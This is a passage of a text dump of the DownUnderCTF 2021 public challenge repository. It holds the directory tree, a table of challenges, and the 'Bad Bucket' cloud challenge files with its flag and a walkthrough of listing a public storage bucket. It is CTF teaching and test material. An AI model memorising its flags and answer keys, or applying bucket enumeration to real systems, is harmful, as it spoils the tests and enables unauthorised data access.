main e29fbc5bed67 cached
570 files
19.5 MB
808.9k tokens
501 symbols
1 requests
Download .txt
Showing preview only (3,231K chars total). Download the full file or copy to clipboard to get everything.
Repository: DownUnderCTF/Challenges_2021_Public
Branch: main
Commit: e29fbc5bed67
Files: 570
Total size: 19.5 MB

Directory structure:
gitextract_v5_tziju/

├── README.md
├── cloud/
│   ├── bad-bucket/
│   │   ├── .gitignore
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solution.md
│   │   ├── src/
│   │   │   ├── buckets/
│   │   │   │   └── .notaflag
│   │   │   └── index.html
│   │   └── terraform/
│   │       ├── terraform.tf
│   │       ├── terraform.tfvars
│   │       └── variables.tf
│   ├── lost-n-found/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solution.md
│   │   └── src/
│   │       ├── enum_script/
│   │       │   └── gcp_enum.sh
│   │       ├── flag.txt
│   │       ├── legacy.json
│   │       └── setup.sh
│   ├── notasbadbucket/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solution.md
│   │   ├── src/
│   │   │   ├── index.html
│   │   │   └── pics/
│   │   │       └── flag.txt
│   │   └── terraform/
│   │       ├── .gitignore
│   │       ├── terraform.tf
│   │       ├── terraform.tfvars
│   │       └── variables.tf
│   └── whale_blog/
│       ├── README.md
│       ├── challenge.yml
│       ├── setup.sh
│       ├── solution.md
│       └── src/
│           ├── Dockerfile
│           ├── config.yaml
│           ├── permission.yaml
│           └── web/
│               ├── index.php
│               ├── page1
│               └── page2
├── crypto/
│   ├── 1337crypt-v2/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── 1337crypt-v2.sage
│   │   │   ├── flag.txt
│   │   │   └── output.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── aes-ecb/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── aes-ecb.py
│   │   │   ├── flag.txt
│   │   │   └── key.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── requirements.txt
│   │       ├── solution.py
│   │       └── writeup.md
│   ├── otwhat-1/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── app/
│   │   │       ├── main.py
│   │   │       └── rsa.key
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── otwhat-2/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── app/
│   │   │   │   ├── main.py
│   │   │   │   ├── secp256r1.key
│   │   │   │   └── update.log
│   │   │   └── generate_audit.py
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── power-sign/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   └── power-sign.sage
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── solve/
│   │       ├── solv.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── secuchat/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solve/
│   │   │   ├── attack.py
│   │   │   └── writeup.md
│   │   └── src/
│   │       ├── flag.txt
│   │       └── generate.py
│   ├── substitution-cipher-i/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── output.txt
│   │   │   └── substitution-cipher-i.sage
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── test.sh
│   │       └── writeup.md
│   ├── substitution-cipher-ii/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── output.txt
│   │   │   └── substitution-cipher-ii.sage
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── test.sh
│   │       └── writeup.md
│   ├── substitution-cipher-iii/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── output.txt
│   │   │   └── substitution-cipher-iii.sage
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── test.sh
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── treasure/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── secret.py
│   │   │   └── treasure.py
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   └── yadlp/
│       ├── README.md
│       ├── challenge/
│       │   ├── flag.txt
│       │   ├── output.txt
│       │   └── yadlp.sage
│       ├── challenge.yml
│       └── solve/
│           ├── solve.sage
│           ├── writeup.ipynb
│           └── writeup.md
├── forensics/
│   ├── Thats_Not_My_Name/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── writeup.md
│   ├── The_File_Is_Lava/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── WouldYouLikeToPlayAGame/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── flag.txt
│   │   └── writeup.md
│   ├── do_the_loop/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── writeup.md
│   ├── how-to-pronounce-gif/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   └── retro/
│       ├── README.md
│       ├── challenge/
│       │   └── flag.txt
│       ├── challenge.yml
│       └── writeup.md
├── misc/
│   ├── builder/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── builder.mpd
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── writeup.md
│   ├── canary/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── canary_socket.c
│   │   ├── challenge.yml
│   │   ├── flag.txt
│   │   ├── nsjail.cfg
│   │   ├── publish/
│   │   │   ├── canary
│   │   │   └── canary.c
│   │   └── solve/
│   │       └── canary_solve.py
│   ├── discord/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── floormat/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── publish/
│   │   │   └── floormat.py
│   │   ├── solve/
│   │   │   └── solve.py
│   │   └── src/
│   │       ├── flag.txt
│   │       └── floormat.py
│   ├── flying-spaghetti-monster/
│   │   ├── .dockerignore
│   │   ├── .gcloudignore
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── canned-inputs.txt
│   │   │   ├── canned.json
│   │   │   ├── entry.sh
│   │   │   ├── flag.txt
│   │   │   ├── fsm.py
│   │   │   ├── fsm.txt
│   │   │   ├── pow.py
│   │   │   ├── requirements.txt
│   │   │   └── server.py
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── Dockerfile.solve
│   │       ├── fsm.py
│   │       ├── requirements-solve.txt
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── gammasafe/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   └── server.py
│   │   ├── challenge.yml
│   │   ├── publish/
│   │   │   └── gs_strcmp.3
│   │   └── solve/
│   │       ├── solve.py
│   │       └── solve.threaded.py
│   ├── general_skills_quiz/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── challenge.py
│   │   │   └── wordlist.10000
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── solve.py
│   ├── i_pee_fs/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   └── src/
│   │       ├── .gitignore
│   │       ├── dir/
│   │       │   ├── 01 lol
│   │       │   ├── 03 owo whats this
│   │       │   ├── 04 story
│   │       │   ├── 05 pkfire
│   │       │   └── 07 flag.txt
│   │       ├── generate.sh
│   │       ├── load-test.go
│   │       ├── main-ipv4.go
│   │       ├── main.go
│   │       └── solve.py
│   ├── rabbit/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── matroyshka.sh
│   │   ├── publish/
│   │   │   └── flag.txt
│   │   └── solve.sh
│   ├── survey/
│   │   ├── challenge.yml
│   │   └── solve.py
│   ├── the_introduction/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   └── challenge.py
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── flag.txt
│   └── twitter/
│       ├── README.md
│       ├── WRITEUP.md
│       └── challenge.yml
├── osint/
│   ├── (back)-On-the-rails/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── Apartment-views/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── Heart-of-the-nation/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── Who-goes-there/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── eyespy/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── get-over-it/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── writeup.md
│   ├── sharing_is_caring/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   └── writeup.md
│   └── the_internet_is_written_in_ink/
│       ├── README.md
│       ├── WRITEUP.md
│       └── challenge.yml
├── pwn/
│   ├── babygame/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── babygame
│   │   │   ├── babygame.c
│   │   │   ├── flag.txt
│   │   │   └── nsjail.cfg
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── solve.py
│   ├── deadcode/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── deadcode
│   │   │   ├── deadcode.c
│   │   │   └── flag.txt
│   │   └── challenge.yml
│   ├── ductfnote/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── ductfnote
│   │   │   ├── ductfnote.c
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── solve.py
│   ├── encrypted-note/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── encrypted_note
│   │   │   ├── encrypted_note.c
│   │   │   ├── flag.txt
│   │   │   └── nsjail.cfg
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── solve.py
│   ├── leaking-like-a-sieve/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── hellothere
│   │   │   └── hellothere.c
│   │   └── challenge.yml
│   ├── out-backdoor/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── outBackdoor
│   │   │   └── outBackdoor.c
│   │   └── challenge.yml
│   ├── oversight/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── Makefile
│   │   │   ├── flag.txt
│   │   │   ├── oversight
│   │   │   └── oversight.c
│   │   ├── challenge.yml
│   │   └── sol.py
│   ├── ready-bounce-pwn/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── libc.so.6
│   │   │   ├── rbp
│   │   │   └── rbp.c
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   └── write-what-where/
│       ├── Dockerfile
│       ├── README.md
│       ├── challenge/
│       │   ├── flag.txt
│       │   ├── libc.so.6
│       │   ├── write-what-where
│       │   └── write-what-where.c
│       ├── challenge.yml
│       └── solve/
│           └── solve.py
├── rev/
│   ├── bullet-hell/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── bullet_hell
│   │   │   ├── bullet_hell.c
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── connect-the-dots/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── connect_the_dots
│   │   │   ├── connect_the_dots.c
│   │   │   ├── flag.txt
│   │   │   └── maze_data.h
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── maze_data.py
│   │       └── solve.py
│   ├── flag-checker/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── flag_checker
│   │   │   ├── flag_checker.c
│   │   │   └── offsets.h
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── flag-loader/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── flag_loader
│   │   │   └── flag_loader.c
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── flag-printer/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── flag_printer
│   │   │   └── flag_printer.go
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── data.py
│   │       └── solve.sage
│   ├── gamer/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── Build/
│   │   │   │   ├── game.data
│   │   │   │   ├── game.framework.js
│   │   │   │   ├── game.loader.js
│   │   │   │   └── game.wasm
│   │   │   ├── Caddyfile
│   │   │   ├── TemplateData/
│   │   │   │   └── style.css
│   │   │   ├── flag.txt
│   │   │   └── index.html
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── index.html
│   │       └── writeup.md
│   ├── juniperus/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── nsjail.cfg
│   │   │   ├── shell
│   │   │   └── shell.c
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── writeup.md
│   └── no-strings/
│       ├── README.md
│       ├── WRITEUP.md
│       ├── challenge/
│       │   ├── flag.txt
│       │   ├── nostrings
│       │   └── nostrings.c
│       └── challenge.yml
└── web/
    ├── chainreaction/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge/
    │   │   ├── app.py
    │   │   ├── bad.txt
    │   │   ├── chainreaction/
    │   │   │   ├── .gitignore
    │   │   │   ├── __init__.py
    │   │   │   ├── models.py
    │   │   │   ├── routes.py
    │   │   │   └── templates/
    │   │   │       ├── admin.html
    │   │   │       ├── bad.html
    │   │   │       ├── chats.html
    │   │   │       ├── dev.html
    │   │   │       ├── head.html
    │   │   │       ├── home.html
    │   │   │       ├── index.html
    │   │   │       ├── login.html
    │   │   │       ├── profile.html
    │   │   │       └── register.html
    │   │   ├── cookiejar
    │   │   ├── init.json
    │   │   ├── requirements.txt
    │   │   └── wait-for-it.sh
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   └── solution/
    │       ├── flag.txt
    │       ├── payload.txt
    │       └── solution.md
    ├── cowboy_world/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge/
    │   │   ├── app.py
    │   │   ├── static/
    │   │   │   ├── robots.txt
    │   │   │   └── sad.eml
    │   │   └── templates/
    │   │       ├── index.html
    │   │       └── you_did_the_thing.html
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   └── requirements.txt
    ├── ezmail/
    │   ├── .dockerignore
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── data/
    │   │   ├── generate_ldif.py
    │   │   └── users.ldif
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   ├── solve/
    │   │   └── solve.py
    │   └── src/
    │       ├── config.py
    │       ├── main.py
    │       ├── message.py
    │       └── models.py
    ├── farsight/
    │   ├── .dockerignore
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── data/
    │   │   ├── 1-schema.sql
    │   │   └── 2-data.sql
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   ├── frontend/
    │   │   ├── assets/
    │   │   │   ├── browser.mjs
    │   │   │   ├── index.mjs
    │   │   │   └── util.mjs
    │   │   ├── index.html
    │   │   └── login.html
    │   ├── package.json
    │   ├── solve/
    │   │   └── solve.py
    │   ├── src/
    │   │   ├── app.ts
    │   │   ├── assets/
    │   │   │   └── schema.gql
    │   │   ├── config.ts
    │   │   └── db.ts
    │   └── tsconfig.json
    ├── inside-out/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge/
    │   │   ├── .gitignore
    │   │   ├── config.py
    │   │   ├── main.py
    │   │   ├── static/
    │   │   │   └── style.css
    │   │   ├── templates/
    │   │   │   ├── admin.html
    │   │   │   ├── base.html
    │   │   │   ├── blacklist.html
    │   │   │   ├── forbidden.html
    │   │   │   └── index.html
    │   │   └── util.py
    │   ├── challenge.yml
    │   ├── default.conf
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   └── requirements.txt
    ├── jasons_proxy/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── proxy.py
    │   ├── requirements.txt
    │   ├── run.sh
    │   └── web/
    │       ├── app.py
    │       ├── static/
    │       │   └── style.css
    │       └── templates/
    │           ├── base.html
    │           └── index.html
    ├── jwt/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge/
    │   │   ├── chall.py
    │   │   ├── flag.txt
    │   │   ├── priv
    │   │   └── pub
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   └── solve/
    │       ├── requirements.txt
    │       └── solve.py
    ├── notepad/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   ├── publish/
    │   │   └── app.py
    │   ├── solve/
    │   │   ├── index.html
    │   │   └── solve.py
    │   └── src/
    │       ├── app.py
    │       └── templates/
    │           ├── _pretty.html
    │           ├── index.html
    │           ├── login.html
    │           ├── me.html
    │           ├── register.html
    │           └── report.html
    ├── secret_bin/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── dump.rdb
    │   ├── flag.txt
    │   ├── init.rdb
    │   ├── publish/
    │   │   ├── app.py
    │   │   └── secret_manager.py
    │   ├── requirements.txt
    │   ├── solve/
    │   │   └── solve.py
    │   └── src/
    │       ├── app.py
    │       ├── secret_manager.py
    │       └── static/
    │           ├── index.html
    │           └── secrets.html
    ├── x1337_sk1d_r3p0rt3r/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge/
    │   │   ├── requirements.txt
    │   │   └── web/
    │   │       ├── app.py
    │   │       ├── create_db.py
    │   │       ├── static/
    │   │       │   └── style.css
    │   │       └── templates/
    │   │           ├── base.html
    │   │           ├── dashboard.html
    │   │           ├── index.html
    │   │           ├── login.html
    │   │           ├── navbar-auth.html
    │   │           ├── navbar-unauth.html
    │   │           ├── register.html
    │   │           └── report_view.html
    │   ├── challenge.yml
    │   └── docker-compose.yml
    └── zap/
        ├── .dockerignore
        ├── .gitignore
        ├── Dockerfile
        ├── README.md
        ├── challenge.yml
        ├── docker-compose.yml
        ├── flag.txt
        ├── package.json
        ├── solve/
        │   ├── shell.py
        │   └── solve.py
        └── src/
            ├── app.js
            └── index.html

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# cloud
|                  Challenge                  |   Author   | Difficulty | Release Round |
| ------------------------------------------- | ---------- | ---------- | ------------- |
| [Bad Bucket](./cloud/bad-bucket)            | Blue Alder | easy       | round 1       |
| [Not as Bad Bucket](./cloud/notasbadbucket) | Blue Alder | easy       | round 1       |
| [Lost n Found](./cloud/lost-n-found)        | Blue Alder | medium     | round 1       |
| [Whale Blog](./cloud/whale_blog)            | Blue Alder | medium     | round 2       |

# crypto
|                          Challenge                          |       Author       | Difficulty | Release Round |
| ----------------------------------------------------------- | ------------------ | ---------- | ------------- |
| [Substitution Cipher I](./crypto/substitution-cipher-i)     | joseph#8210        | beginner   | round 1       |
| [Break Me!](./crypto/aes-ecb)                               | 2keebs             | easy       | round 1       |
| [OTWhat 1](./crypto/otwhat-1)                               | nullableVoid*#7225 | easy       | round 2       |
| [Substitution Cipher II](./crypto/substitution-cipher-ii)   | joseph#8210        | easy       | round 1       |
| [treasure](./crypto/treasure)                               | joseph#8210        | easy       | round 1       |
| [OTWhat 2](./crypto/otwhat-2)                               | nullableVoid*#7225 | medium     | round 2       |
| [Secuchat](./crypto/secuchat)                               | nullableVoid*#7225 | medium     | round 1       |
| [1337crypt v2](./crypto/1337crypt-v2)                       | joseph#8210        | hard       | round 2       |
| [power sign](./crypto/power-sign)                           | joseph#8210        | hard       | round 1       |
| [Substitution Cipher III](./crypto/substitution-cipher-iii) | joseph#8210        | hard       | round 1       |
| [yadlp](./crypto/yadlp)                                     | joseph#8210        | hard       | round 1       |

# forensics
|                          Challenge                          |     Author     | Difficulty | Release Round |
| ----------------------------------------------------------- | -------------- | ---------- | ------------- |
| [Retro!](./forensics/retro)                                 | Yo_Yo_Bro      | beginner   | round 1       |
| [Do the loop!](./forensics/do_the_loop)                     | Yo_Yo_Bro      | easy       | round 1       |
| [How to pronounce GIF](./forensics/how-to-pronounce-gif)    | xXl33t_h@x0rXx | easy       | round 1       |
| [That's Not My Name](./forensics/Thats_Not_My_Name)         | Conletz#5420   | easy       | round 1       |
| [The File is Lava](./forensics/The_File_Is_Lava)            | TheDon*#2152   | medium     | round 2       |
| [Want to Play a Game?](./forensics/WouldYouLikeToPlayAGame) | Conletz#5420   | medium     | round 1       |

# misc
|                          Challenge                          |        Author         | Difficulty | Release Round |
| ----------------------------------------------------------- | --------------------- | ---------- | ------------- |
| [Discord](./misc/discord)                                   | Crem                  | none       | round 1       |
| [Twitter](./misc/twitter)                                   | Crem                  | none       | round 1       |
| [Builder](./misc/builder)                                   | BearArms (Cybears)    | beginner   | round 1       |
| [General Skills Quiz](./misc/general_skills_quiz)           | Crem                  | beginner   | round 1       |
| [The Introduction](./misc/the_introduction)                 | Crem                  | beginner   | round 1       |
| [Floormat](./misc/floormat)                                 | todo#7331             | easy       | round 1       |
| [GammaSafe](./misc/gammasafe)                               | nullableVoid*#7225    | easy       | round 2       |
| [rabbit](./misc/rabbit)                                     | Crem + z3kxTa         | easy       | round 1       |
| [Canary](./misc/canary)                                     | 247CTF.com            | medium     | round 1       |
| [i-pee fs](./misc/i_pee_fs)                                 | dot                   | medium     | round 2       |
| [Flying Spaghetti Monster](./misc/flying-spaghetti-monster) | hypersphere (Cybears) | hard       | round 1       |

# survey
|        Challenge        | Author | Difficulty | Release Round |
| ----------------------- | ------ | ---------- | ------------- |
| [Survey](./misc/survey) | DUCTF  | none       | round 3       |

# OSINT
|                                Challenge                                 |     Author     | Difficulty | Release Round |
| ------------------------------------------------------------------------ | -------------- | ---------- | ------------- |
| [Who goes there?](./osint/Who-goes-there)                                | xXl33t_h@x0rXx | beginner   | round 1       |
| [(back) On the rails](./osint/(back)-On-the-rails)                       | xXl33t_h@x0rXx | easy       | round 2       |
| [Get over it!](./osint/get-over-it)                                      | Yo_Yo_Bro      | easy       | round 1       |
| [The Internet is Written in Ink](./osint/the_internet_is_written_in_ink) | Crem           | easy       | round 1       |
| [Apartment Views](./osint/Apartment-views)                               | xXl33t_h@x0rXx | medium     | round 2       |
| [eyespy](./osint/eyespy)                                                 | xXl33t_h@x0rXx | medium     | round 2       |
| [Heart of the nation](./osint/Heart-of-the-nation)                       | xXl33t_h@x0rXx | medium     | round 1       |
| [Sharing is Caring](./osint/sharing_is_caring)                           | xXl33t_h@x0rXx | hard       | round 2       |

# pwn
|                     Challenge                      |     Author     | Difficulty | Release Round |
| -------------------------------------------------- | -------------- | ---------- | ------------- |
| [deadcode](./pwn/deadcode)                         | xXl33t_h@x0rXx | beginner   | round 1       |
| [Leaking like a sieve](./pwn/leaking-like-a-sieve) | xXl33t_h@x0rXx | beginner   | round 1       |
| [babygame](./pwn/babygame)                         | grub           | easy       | round 1       |
| [outBackdoor](./pwn/out-backdoor)                  | xXl33t_h@x0rXx | easy       | round 1       |
| [write what where](./pwn/write-what-where)         | joseph#8210    | easy       | round 2       |
| [Oversight](./pwn/oversight)                       | B3NNY          | medium     | round 1       |
| [ready, bounce, pwn!](./pwn/ready-bounce-pwn)      | joseph#8210    | medium     | round 2       |
| [DUCTFnote](./pwn/ductfnote)                       | grub           | hard       | round 1       |
| [encrypted note](./pwn/encrypted-note)             | joseph#8210    | hard       | round 1       |

# reversing
|                 Challenge                  |       Author       | Difficulty | Release Round |
| ------------------------------------------ | ------------------ | ---------- | ------------- |
| [no strings](./rev/no-strings)             | joseph#8210        | beginner   | round 1       |
| [flag loader](./rev/flag-loader)           | joseph#8210        | easy       | round 1       |
| [Juniperus](./rev/juniperus)               | nullableVoid*#7225 | easy       | round 2       |
| [bullet hell](./rev/bullet-hell)           | joseph#8210        | medium     | round 2       |
| [connect the dots](./rev/connect-the-dots) | joseph#8210        | medium     | round 1       |
| [flag printer](./rev/flag-printer)         | joseph#8210        | medium     | round 1       |
| [gamer](./rev/gamer)                       | joseph#8210        | medium     | round 1       |
| [flag checker](./rev/flag-checker)         | joseph#8210        | hard       | round 1       |

# web
|                    Challenge                     |   Author   | Difficulty | Release Round |
| ------------------------------------------------ | ---------- | ---------- | ------------- |
| [Cowboy World](./web/cowboy_world)               | Crem       | beginner   | round 1       |
| [Inside Out](./web/inside-out)                   | Solopie    | beginner   | round 1       |
| [Chainreaction](./web/chainreaction)             | n00bmaster | easy       | round 1       |
| [Farsight](./web/farsight)                       | todo#7331  | easy       | round 2       |
| [Secret Bin](./web/secret_bin)                   | todo#7331  | easy       | round 2       |
| [Ezmail](./web/ezmail)                           | todo#7331  | medium     | round 1       |
| [JWT](./web/jwt)                                 | 247CTF.com | medium     | round 1       |
| [x1337 Sk1d R3p0rt3r](./web/x1337_sk1d_r3p0rt3r) | xesh       | medium     | round 2       |
| [Zap](./web/zap)                                 | todo#7331  | medium     | round 1       |
| [Jasons Proxy](./web/jasons_proxy)               | xesh       | hard       | round 2       |
| [Notepad](./web/notepad)                         | todo#7331  | hard       | round 1       |


================================================
FILE: cloud/bad-bucket/.gitignore
================================================
terraform/.terraform.lock.hcl
terraform/terraform
terraform/.terraform
terraform/terraform.tfstate
terraform/terraform.tfstate.backup


================================================
FILE: cloud/bad-bucket/README.md
================================================
# Bad Bucket

**Creator:** Blue Alder

**Category:** cloud

**Difficulty:** easy

## Flavortext

Aw yea have you guys SEEN my new website... its nearly done I swear! I've uploaded it to the ☁️CLOUD☁️ and shared it with you guys now so you can see it! Check it out here

<!-- INSERT LINK HERE -->


Flag: DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}


================================================
FILE: cloud/bad-bucket/challenge.yml
================================================
version: "0.1"
id: bad-bucket
name: Bad Bucket
category: cloud
description: >
  Aw yea have you guys SEEN my new website... its nearly done I swear! I've uploaded it to the ☁️CLOUD☁️ and shared it with you guys now so you can see it! Check it out here


  Author: Blue Alder

connection_info: https://storage.googleapis.com/the-bad-bucket-ductf/index.html

tags:
  - easy

flags:
  - DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}


================================================
FILE: cloud/bad-bucket/solution.md
================================================
# Bad Bucket

So this was an easy challenge about basic bucket permissions. We are presented with a url as an entry point into the challenge https://storage.googleapis.com/${BUCKET_NAME}/index.html. This URL denotes that the website is hosted on a bucket.

The website also points towards buckets as a hint. We can try and list the contents of the bucket by navigating up a directory 

https://storage.googleapis.com/${BUCKET_NAME}

We get an XML output which shows a few interesting files, notably

```xml
<Contents>
<Key>buckets/.notaflag</Key>
<Generation>1627459441112582</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2021-07-28T08:04:01.113Z</LastModified>
<ETag>"d66c1be5db93f7b0fd7a63b01f4abeb1"</ETag>
<Size>158</Size>
</Contents>
```

Navigating to this file to download the file 

https://storage.googleapis.com/${BUCKET_NAME}/buckets/.notaflag

We open the file and we recieve the flag!

`DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}`

================================================
FILE: cloud/bad-bucket/src/buckets/.notaflag
================================================
THIS IS A SECRET FILE THAT SHOULD NOT BE SHARED UNDER ANY CIRCUMSTANCE 

jk heres the flag good job!

DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}

================================================
FILE: cloud/bad-bucket/src/index.html
================================================
<!DOCTYPE html>

<html>
    <head>
        <title>Cloud Time</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl" crossorigin="anonymous">
    </head>
    <body>
        <div class="container">
            <h1>Hello and welcome to my website</h1>
            <p>I'm really happy you could make it to my site! I'm still working on some things and getting up and started but hey I hope you like my website</p>
            <p>While I'm still getting everything up and running please feel free to look at some of these pics of my buckets</p>
            <button type="button" class="btn btn-primary"> A button, press me and I go beep boop</button>
            <p> Progress of website being done </p>
            <div class="progress">
                <div class="progress-bar" role="progressbar" style="width: 25%" aria-valuenow="25" aria-valuemin="0" aria-valuemax="100"></div>
                <p>You can tell that this website is not complete because this loading bar is not complete...</p>
